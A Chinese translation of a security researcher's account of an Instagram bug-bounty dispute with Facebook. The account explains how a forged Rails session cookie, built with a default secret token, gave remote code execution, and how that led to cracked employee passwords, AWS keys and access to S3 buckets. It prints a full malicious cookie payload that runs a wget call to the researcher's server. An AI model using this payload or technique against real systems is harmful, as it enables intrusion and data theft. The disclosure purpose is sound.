返回 登录
0

Instagram的百万美元Bug

阅读7374

原文链接:https://exfiltrated.com/research-Instagram-RCE.php
作者:Wesley Wineberg


2012年,Bloomberg在Facebook的“白帽黑客”漏洞赏金项目页面发过一篇著名的文章,文中说:“如果有人发现价值百万的漏洞,我们愿意予以相当金额的奖励。” 本文有标题党之嫌,所以先向各位道个歉。但是标题确实和本文的背景相关,我在Instagram发现了一个价值百万的漏洞——通过这个漏洞我可以拿到数据密钥,源代码和照片的权限等等。然而Facebook并没有兑现承诺。

在这个故事开始之前,我要先澄清几点:我在Infosec工作了七年,期间极力避免出什么纠纷。也参加过很多漏洞赏金的项目,合作都很愉快。之前我看过很多人将自己的纠纷放到网上,从某种方面讲,让公众来评判无可厚非,但是我更喜欢专注于技术,不怎么关心这些东西。我自己的Twitter帐号从没发过任何东西,所以我不觉得自己是没事找事的那类人(要在晚上挑事不能没了Twitter,对吧?)

本文分为两部分:第一部分是技术问题,将漏洞如何发现的;第二部分是我和Facebook之间的交涉。

缘起

事情的起因,是我一个不愿意透漏姓名的朋友的朋友提到,他在参加Facebook的漏洞赏金项目,测试Instagram。我自己在前几年也做过Facebook的漏洞测试,所以对这些有点兴趣。我的公司也允许我在空余时间做一些类似漏洞赏金的项目。朋友告诉我,他们可能有一个很脆弱的服务器:https://sensu.instagram.com,作为管理员的控制页面。他说Ruby的密码重置流程很脆弱,虽然提到细节,不过我觉得他指的是CVE-2013-3221。我决定从这方面挖一下。

Ruby (Rails) RCE的远程控制

一开始,我尝试利用Ruby/Rails的密码重置弱点,不过都失败了。在登录界面用“0”作为密码,页面不接受。密码重置邮件也没有很明显的规则。不过看起来像是某种Sensu的管理系统,所以我想试一下找到密码重置的格式。我在Google上看了一下有关”Sensu-Admin”的资料,了解了一下,但是没有太大帮助。密码重置没有什么明显的漏洞,我朋友说的这点好像行不通。

后来在GitHub找到的代码帮助很大。GitHub上的secret_token.rb文件有一个密码编码的token。虽然不太可能,但是如果,Instagram在他们的服务器上用了默认的这个token,那么我就能模仿一个会话的cookie。之前我介绍的博客中说过,cookie不仅可以被模拟,而且还能被Rails反编码,直接触发cookie带的命令语句执行。

攻击之路永远是曲折的。首先,我先在本地调试了一个Rails服务器进行测试,然后这个框架:

https://github.com/charliesome/charlie.bz/blob/master/posts/rails-3.2.10-remote-code-execution.md

生成了一个文件,将其扔到Marshal.load里面去执行。正如我所料,文件中携带的命令被执行了。加下来我用相同的文件,加上Sensu-Admin默认的签名,和我的命令一起编译出来一个cookie,如下所示:

_sensu-admin_session=BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQc6DkBpbnN0YW5jZW86CEVSQgY6CUBzcmNJIkFldmFsKCdzeXN0ZW0oIndnZXQgaHR0cDovL2V4ZmlsdHJhdGVkLmNvbS90ZXN0LWluc3RhZ3JhbSIpJykGOgZFVDoMQG1ldGhvZDoLcmVzdWx0–92c614a28526d03a1a31576bf4bb4c6026ef5e1f

之后我把它传给服务器,神奇的事情发生了。这个cookie被正确地解码,签名也认证通过,我的命令被执行了!我写在cookie里的命令是“wget http://exfiltrated.com/test-instagram”,我的服务器的确收到了来自sensu.instagram.com的请求!这样我就有了一个RCE(Remote Control Equipment,远程控制设备)。然后我写了一个socket监听程序,作为一个远程的shell:

确认这个RCE可以做控制之后,我给Facebook提交了漏洞。包括以下两点:

  1. “Sensu-Admin”使用了Rails默认的签名;
  2. sensu.instagram.com运行的是3.x,如果恶意的cookie可以通过权限验证的话,可以让Rails的session执行命令。

服务器配置文件

发现了RCE之后,我只是能让命令执行,并不是一个普通的用户。既然这个网站是公开的,那么一个潜在的威胁就是:任何一个有账户的人都能登录系统。通常,Sensu-Admin程序会使用很多配置文件,但是Instagram只使用了一个本地的Postgres实例。有了RCE之后,我可以轻松的得到这个文件。我将这个文件下载下来之后,打开数据库,不出所料的发现,这里面都是一些员工账户。Instagram和Facebook的员工都有,一共有60个,密码都通过bcrypt加密了。我的机器一秒可以尝试250次,对于暴力破解来说,显然太慢了。抱着试一试的态度,我用了JtR。震惊的是,很快就有密码破解出来了。几分钟之后,我竟然得到了12个密码!这些密码都非常非常弱,难怪可以这么容易破解了。其中有:

  • 六个密码是“changeme”
  • 三个和用户名相同
  • 两个是“password”
  • 一个是“instagram”

这么大的公司,竟然将生产系统放在公网着实让人震惊。我用其中一个员工的帐号登录了系统,截图如下:

鉴于Facebook的漏洞赏金项目明确规定不要尝试使服务器停机,我没有做更深入的测试,而是将这个Bug提交给了Facebook。

天堂的钥匙

我还发现,Sensu-Admin服务器运行在EC2上面,而不是内部的DNS服务器。从/etc/hosts中可以看出,这里一共有超过1400个系统。所以理论上讲,可以做的还有很多。但是就我以前参加过的漏洞赏金项目来看,中转进入别的系统几乎是不可能的,但是如果有机会的话,举办方都鼓励我这么做。

到目前为止,我对自己发现的两个漏洞比较满意。一个月之前,我在微软的live.com发现过一个漏洞,Facebook这个甚至比微软更严重。我看了一下服务器的配置文件:/etc/sensu/config.json,发现这里面不仅有服务器的权限,还有其他一些权限,包括一些电子邮件账户和密钥。其中,有一些用来开启“autoscale”进程的亚马逊AWS S3的密钥对。

AWS密钥可以提供对不同AWS服务的保护。密钥对显示,一共有82个不同的AWS buckets(存储桶),但是都受到保护,我无法进入。其中有一个例外,就是第一个bucket——“autoscale-kitchen”bucket。我将其下载了下来。

autoscale-kitchen bucket看起来像是一个开发部署用的bucket,其中有一个autoscale-kitchen-latest.tar.gz,然后是之前版本的分支,一些安装服务的脚本等等。看起来好像少了社么,然后我检出旧版本的autoscale-kitchen文件,这里面竟然有配置文件。配置文件中除了很多设置,还有一个AWS密钥对。

我用这个S3的密钥对配置了我的客户端,发现这就可以进入任何一个S3 bucket了!这82个bucket中任何一个的内容!

得到的数据

我浏览了几个bucket,发现有不少敏感信息。我建了一个下载任务之后,就去睡觉了。

第二天,我想看看都下载了写什么。其中很多bucket保存的都是Instagram的照片,处理之前和之后的都有。鉴于Facebook白帽黑客的项目说明,“不要侵犯别人隐私”,我就不从这些bucket中再下东西了。

下面是用密钥对得到的另一些数据,分散在了不同的bucket中:

  • Instagram.com的静态页面
  • Instagram服务器的源代码,API端代码,图片处理库
  • Instagram.com和*.Instagram.com的SSL验证私钥
  • cookies验证的私钥
  • Instagram API 的OAuth授权密钥
  • 邮箱认证服务器的配置
  • IOS和Android签名
  • IOS推送通知密钥
  • Twitter、Facebook、Flicker、Tumblr、Foursquare的API

可以说,我几乎得到了Instagram的所有数据,通过这些数据我可以轻松地模仿出一个Instagram系统来,或者冒充其中任何一个客户或者员工登录系统。

黑掉Instagram的整个流程,可以用下面这张图表示:

从中我们可以看出,用RCE控制服务器可能有点复杂,但是之后控制Instagram的S3 bucket就非常简单了。这让我感到非常震惊,作为Facebook这样的大公司,防御要求应该是很高的。我们Infosec每个人在学校的时候就知道defense-in-depth(多层防御)了。

纠纷

我报告了这些系统,然而Facebook却不和之前承诺的那样给予鼓励,反而说我的漏洞不符合他们的赏金项目。我和Facebook之间进行了很多通信,对他们的态度感到很不满。Yahoo,Google,Microsoft和Tumblr举办赏金项目的时候,都是鼓励参与者发现越高危的漏洞,奖励越多。Facebook的态度确是不重视与威胁,他们的CSO竟然还在没有任何通知的情况下直接联系我的上司。他们对我的上司声称,我要保证停止攻击,不发布攻击方法,删除下载的所有数据,否则可能动用Facebook的法务团队。这个之前他们说的“研究漏洞的人不会有法律方面的麻烦”背道而驰。

最新进展

Wes在博客上贴出了与Facebook的邮件和一个timeline,声明的主要有:自己完完全全在Facebook赏金项目的计划之内;自己发现的高危漏洞没有得到重视;对Facebook的威胁不满等。

Facebook方面,CSO Alex在Facebook官网贴出了官方回应:漏洞赏金项目的道德准则。称:Wes不是第一个报告相关漏洞的人,然而他对自己得到的奖励金额并不满意;Wes的攻击已经违反了赏金项目的规则;联系Wes的上司,是确保Wes停止攻击,不要泄漏敏感信息;Wes的博客(指本文)没有事先通知我们;Bug已经修复,没有任何用户数据泄漏。


编译:赖信涛,关注Python,喜欢编程和电子游戏,个人博客www.kawabangga.com

评论